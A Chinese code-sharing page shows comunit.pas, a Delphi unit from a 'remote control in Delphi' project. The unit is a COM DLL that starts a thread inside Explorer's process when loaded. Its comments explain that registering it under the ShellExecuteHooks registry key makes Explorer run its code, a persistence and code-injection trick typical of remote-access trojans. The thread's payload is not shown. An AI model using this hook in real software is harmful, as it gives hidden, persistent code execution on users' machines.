⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 comunit.pas

📁 Delphi中远程控制的实现
💻 PAS
字号:
unit ComUnit;

interface

uses ActiveX;

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
function DllCanUnloadNow: HResult; stdcall;
function DllRegisterServer: HResult; stdcall;
function DllUnregisterServer: HResult; stdcall;

implementation

uses Windows, Threads, VarUnit;

  // 获取类工厂接口, 此处一律返回空指针
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;
var
  ThreadID: LongWord;
begin
  if (InExplorer = TRUE) and (FindWindow('Liu_mazi', ' ShellExecuteHook示例     By 麻子') <> 0) then
    CreateThread(nil, 0, @ThreadPro, Pointer(66), 0, ThreadID); // 建立属于Explorer的线程
    
  Pointer(Obj) := nil; // 将指针置空
  Result := CLASS_E_CLASSNOTAVAILABLE; // 不支持的类
end;

  // 查询是否可以卸载, 此处一律返回OK, 允许卸载
function DllCanUnloadNow: HResult;
begin
  Result := S_OK; // 允许卸载
end;

  // 注册, 也就是向注册表写入自身信息, 此处省略
function DllRegisterServer: HResult;
begin
  Result := S_OK; // 注册成功
end;

  // 反注册, 也就是清除自身注册表信息, 此处省略
function DllUnregisterServer: HResult;
begin
  Result := S_OK; // 清除成功
end;

(* 注1: 我对COM并不熟悉, 此单元乃依样画弧, 可能存在错误, 注释也仅供参考 *)
(* 注2: 本程序关键之处就在于, 当调用ShellExecute()的时候, 系统会查询注册表
   [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks]
   处登记的 COM DLL, 装载并调用, 从而使得我们的代码有机会运行. *)
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -